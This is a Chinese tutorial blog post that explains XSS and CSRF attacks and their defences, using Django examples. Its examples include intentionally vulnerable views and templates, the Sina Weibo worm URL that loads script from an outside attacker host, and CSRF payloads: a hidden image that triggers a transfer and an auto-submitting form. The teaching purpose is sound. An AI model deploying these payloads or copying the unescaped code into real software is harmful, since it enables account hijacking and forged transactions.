以Django为例谈谈XSS和CSRF攻击

前言

在Web安全领域,XSS和CSRF两个是最常见的攻击方式,由于最近在研究Django框架,阅读源码的同时分析下这两个攻击的攻击方式和防御方式

XSS

XSS,即 Cross Site Script,中译是跨站脚本攻击;在别人的站点嵌入脚本,而这个脚本原来不是属于这个站点的,所以叫跨站脚本,其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS。

XSS 攻击本质是指攻击者在网站上注入恶意的客户端代码,代码未经过滤,浏览器无法区分,恶意脚本被执行,通过恶意脚本对客户端网页进行篡改,从而在用户浏览网页时,对用户浏览器进行控制或者获取用户隐私数据的一种攻击方式。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

XSS 危害

  • 盗取Cookies,恶意删除文章,篡改嫁祸
  • web 2.0 蠕虫,就是微博的那次XSS蠕虫爆发
  • 蠕虫DDos,刷量,刷广告,破坏数据

XSS攻击可以分为3类:反射型(非持久型)、存储型(持久型)、基于DOM(这个咱们就先不管了,看前两个)。

反射型 (单次反射,无db)

攻击者构造出特殊的URL,其中包含恶意代码,用户打开恶意代码的URL,服务器解析拼接在HTML‘中返回反射给浏览器,脚本执行,窃取信息。

用户通过Web客户端提交给服务端的数据,立刻用于解析和显示该用户的结果页面(数据没有在服务端存储)

这种方式只是简单的把用户输入的数据反射给浏览器,这种攻击方式往往需要攻击者诱导点击链接,或者提交一个表单,Response返回Script脚本代码,从而注入脚本。

Question:肯定有人好奇反射型攻击的恶意链接放在哪里?
1.攻击者可以恶意链接直接发送给受信任用户,比如email,站内私信,评论等
2.攻击者可以购买存在漏洞网站的广告位,将恶意链接插入到广告中

示例
创建一个静态页面,url后面跟上自己的注入脚本,可以写好,可以通过input输入
当用户点击钓鱼网站链接时,服务器处理后由于没有过滤转义,就会直接和HTML一起反射回来

# 路径配置
from django.urls import path, re_path
from . import views

app_name = 'books'

urlpatterns = [
    re_path(r'^cook1/$', views.cook1),

随后页面上回出现恶意链接网站注入的脚本

# view视图处理
def cook1(request):
    # t1 = loader.get_template('books/cook1.html')
    # context = {'h1': 'hello'}
    return render(request, 'books/cook1.html', {'x': request.GET.get('x')})
# 模板渲染反射
<body>
{{x}}
{#{{ x|safe }}#}
</body>

在这里插入图片描述
浏览器的区别:
针对这种XSS攻击,Chrome和Safari都已经屏蔽了,只能在Firefox中模拟出来

以上就产生了反射性的XSS攻击,攻击者根据注入任意类型的恶意脚本进行攻击,可以恶作剧,也可以注入能获取用户cookies的脚本。

非持久性最典型的就是在URL后面添加恶意脚本如下,简单粗暴,后面介绍应对方案

<script>恶意代码</script>

注意:
XSS非持久型攻击,根据我的理解是不会跳转到攻击者页面的,同源策略,脚本会在本网站进行非法获取或者恶作剧

这里有

RSS攻击图解
在这里插入图片描述

持久型 (永久反射,入库)

攻击者在表单页面发表评论,输入一些文本之后还输入了脚本

<script>alert('恶意攻击')</script>

提交评论,当其他用户访问该文章的时候都会执行注入的脚本,可以获取用户敏感信息

# views.py
commits = []

def loop1(request):
    return render(request, 'books/loop1.html')

def loop2(request):
    return render(request, 'books/loop2.html',{'commits':commits})

def commit(request):
    commits.append(request.POST.get('comment'))
    return redirect(reverse('books:loop2'))

# 输入
<h1>评论</h1>
<form action="{% url 'books:commit' %}" method="post">
    {% csrf_token %}
    <input type="text" name="comment">
    <input type="submit" value="提交">
</form>

# 展示
{% for foo in commits %}
    <div>
        {{ foo|safe }}
    </div>
{% endfor %}

在这里插入图片描述
这种攻击就不是在url上下手了,而是直接把注入代码写到网站数据库中。有些网站呢,是内容生成网站,比如很多的博客站,此时,如果不对用户输出的内容加以过滤,就可以注入一些js脚本内容。这样,别人看到这篇博客时,已经在执行他写的js脚本了。

一种就像SQL Injection或CMD Injection攻击一样,我把一段脚本注入到服务器上,用户访问方法服务器的某个URL,这个URL就会把远端的js注入进来,这个js有可能自动进行很多操作。比如这次事件中的帮你发微博,帮你发站内消息等。注入有很多方法,比如:提交表单,更改URL参数,上传图片,设置签名,等等。

新浪微博XSS 反射型蠕虫漏洞

1.发现漏洞
首先,黑客通过对新浪微博的分析测试发现新浪名人堂部分由于代码过滤不严,导致 XSS漏洞的存在,并可以通过构造脚本的方式植入恶意代码。通过分析发现,在新浪名人堂部分中,当提交 http://weibo.com/pub /star/g/xyyyd">?type=update时,新浪会对该字符串进行处理,变成类似 http://weibo.com/pub /star.php?g=xyyyd">?type=update,而由于应用程序没有对参数g做充足的过滤,没有转义,且将参数值直接显示在页面中,相当于 weibo.com 在页面中嵌入了一个来自于 2kt.cn的JS脚本。该JS脚本是黑客可以控制的文件,使得黑客可以构造任意JS脚本嵌入到weibo.com的页面中,且通过Ajax技术完全实现 异步提交数据的功能,进而黑客通过构造特定的JS代码实现了受此XSS蠕虫攻击的客户自动发微博、添加关注和发私信等操作。那么思路就来了,用户已经登录的情况下,我作为一个攻击者,发送一个恶意链接,而且注入js脚本在URL后面,微博后台不转义,直接触发,返回HTML和我注入的js脚本,攻击者就可以操作对应的用户自动关注,转发,评论了。如果他们做了转义,脚本就不会被解释执行,这也是后面的防范方式之一。

2.准备恶意链接
于是攻击者构造了一个URL,引导用户去点击

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
转换如下
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update

这里你注入的url也太长了,就有了短链接服务(可以简单理解为一串随机串映射一个url,网上很多类似服务,可以搜索下),这个哥们用了有道的短链接服务,现在已经无害了

例如,通过 http://163.fm/PxZHoxn ,将链接指向:

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

3.私信,评论开始扩散恶意蠕虫XSS注入
浏览器接收到响应后就会加载执行恶意脚本//xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。

a.发微博(让更多的人看到这些消息,自然也就有更多人受害);
b.加关注,加uid为2201270010的用户关注——这应该就是大家提到的hellosamy了;
c.发私信,给好友发私信传播这些链接,不断扩散

在这里插入图片描述
微博蠕虫代码
samy首个xss攻击技术分享
samy首个xss攻击技术分享2
XSS 小游戏
解析

防范XSS

  • 输入转义
<div>{{ foo }}</div> 默认转义
<div>{{ foo | safe }}</div> 不转义,直接解释执行 不安全
  • 输出转义HTML,
    根据上面的注入方式一般可以归纳为两类,一类是HTML转义,一般来说,除富文本的输出外,在变量输出到 HTML 页面时,可以使用编码或转义的方式来防御 XSS 攻击。例如利用 sanitize-html 对输出内容进行有规则的过滤之后再输出到页面中。
  • 其实现在大多成熟的web框架,还有浏览器如Chrome,自带了XSS过滤器(CSP)。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,禁止外域加载提交。它的实现和执行全部由浏览器完成,开发者只需提供配置。
  • 对输入长度的限制,虽然无法完全防止,但是可以增加其难度
  • HttpOnly防止Cookies被脚本劫持
    浏览器禁止页面的js访问带有HttpOnly属性的Cookies。攻击方式是注入恶意脚本获取用户的cookies信息,通畅cookies中都包含了用户登录凭证,攻击者在获取到Cookies之后,可以发起Cookies劫持攻击,严格来讲,HttpOnly并非组织XSS攻击,而是阻止XSS攻击之后的Cookies劫持攻击。
    response.set_cookie('key1','Mikejing',httponly=True)
    

CSRF

CSRF,即 Cross Site Request Forgery,中译是跨站请求伪造,是一种劫持受信任用户向服务器发送非预期请求的攻击方式。

通常情况下,CSRF 攻击是攻击者借助受害者的 Cookie 骗取服务器的信任,可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击服务器,从而在并未授权的情况下执行在权限保护之下的操作。
尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
在这里插入图片描述
一个典型的CSRF攻击有着如下的流程:

1.受害者登录a.com,并保留了登录凭证(Cookie)。
2.攻击者引诱受害者访问了b.com。
3.b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
4.a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
5.a.com以受害者的名义执行了act=xx。
6.攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作。

用代码模拟下

# 模拟GET
<body>
当前登录用户:*{{ username }}* <br>
<a href="/books/session2/">登录</a><br>
<a href="/books/session3/">退出</a>
<a href="/books/session4/?to_name=Faker&amount=100">转账</a>
</body>

# POST 自动表单提交
# <form action="http://bank.example/withdraw" method=POST>
    #<input type="hidden" name="account" value="xiaoming" />
    #<input type="hidden" name="amount" value="10000" />
    #<input type="hidden" name="for" value="hacker" />
#</form>
#<script> document.forms[0].submit(); </script> 

def session4(request):
    toname = request.GET.get('to_name')
    amount = request.GET.get('amount')
    context = {"to_name":toname,"amount":amount}
    logger = logging.getLogger('django')
    logger.info('转账' + toname + "   " + amount)
    return render(request, 'books/session4.html',context)

首先用户已经登录后,从后端拉来了Cookies,然后进行转账操作,这里演示的是GET请求,如果是POST,无非就是改成隐藏表单的形式,为了演示方便就用GET,可以看到校验用户信息用的是Cookies,而且整个转账操作是如下URL

http://127.0.0.1:8000/books/session4/?to_name=Faker&amount=100

然后我们开启另外一个端口的服务

python3 manager.py runserver 5000

配置一个隐藏的img标签,访问路径如下

<body>
<h1>钓鱼网站</h1>
<img src="http://127.0.0.1:8000/books/session4/?to_name=Deft&amount=10000000" alt="">
</body>

这里的意思是发送一个请求,向Deft发送100w,由于同源策略,虽然不是本网站,但是发送到请求是之前8000端口的网站,因此会带上之前登陆过的Cookies,最终模拟之前登录的用户,真实地发生了转账。如果让用户点击这个链接,只要用户登录状态下,你发个邮件,私信或者做个广告,然后这样操作一下,就是CSRF攻击了。

整个过程如下图所示
在这里插入图片描述
CSRF的特点

攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”
跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF攻击防范

1.保证GET无副作用

The first defense against CSRF attacks is to ensure that GET requests are side effect free.

根据Django官方描述,首先第一道防线要确保GET是无副作用的,只是仅仅查询数据而已。然后再针对,POST,DELETE,PUT进行防护

2.验证码,密码,短信验证等
由于黑客的攻击,除非破解上述的方案,不然我们可以看到很多银行资金相关的操作都会强制和用户进行交互,短信验证也好,验证码也好,密码也好,都是会更加安全的防范CSRF的攻击,但是如果每个接口都这么防护也不科学,就有了后面两种方案

3.同源策略
Referer Header
根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。 对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。因此我们使用Referer中链接的Origin部分可以得知请求的来源域名。这是完全依赖于浏览器的策略,可以说是最简单也是最自动的一种,问题在于有些版本的浏览器可以修改Refer,因此也会有漏洞。
综上所述:同源验证是一个相对简单的防范方法,能够防范绝大多数的CSRF攻击。但这并不是万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,我们就要对关键的接口做额外的防护措施。

4.添加Token验证
CSRF 攻击之所以能够成功,是因为攻击者可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 Cookie 中,因此攻击者可以在不知道这些验证信息的情况下直接利用用户自己的 Cookie 来通过安全验证。(攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息),要抵御 CSRF,关键在于在请求中放入攻击者所不能伪造的信息,并且该信息不存在于 Cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

Token是一个比较有效的CSRF防护方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就无法成功。

Token防护三步骤:

  1. 将CSRF Token输出到页面中 这个Token的值必须是随机生成的,这样它就不会被攻击者猜到
  2. 页面提交的请求携带这个Token
  3. 服务器验证Token是否正确

篇幅有限,针对CSRF中Token策略防护问题,单独用Django的源码解析来分析下,这个Python世界级框架是如何生成验证Token的策略,Django中的CSRF防护原理全过程

参考文章
美团前端技术团队
新浪XSS攻击
samy XSS致敬
XSRF美团分享
Django 中间件 + CSRF介绍
Django防护源码分析
CSRF中间件源码分析图解
Django源码分析,好文章
Github的XSS文章

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
一、什么是XSS攻击 XSS是一种经常出现在web应用的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。 二、XSS漏洞的危害 (1)网络钓鱼,包括盗取各类用户账号; (2)窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作; (3)劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等; (4)强制弹出广告页面、刷流量等; (5)网页挂马; (6)进行恶意操作,例如任意篡改页面信息、删除文章等; (7)进行大量的客户端攻击,如DDoS攻击; (8)获取客户端信息,例如用户的浏览历史、真实IP、开放端口等; (9)控制受害者机器向其他网站发起攻击; (10)结合其他漏洞,如CSRF漏洞,实施进一步作恶; (11)提升用户权限,包括进一步渗透网站; (12)传播跨站脚本蠕虫等; 三、过滤器配置 web.xml配置 XssFilter com.xxx.Filter.XssFilter XssFilter /*

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值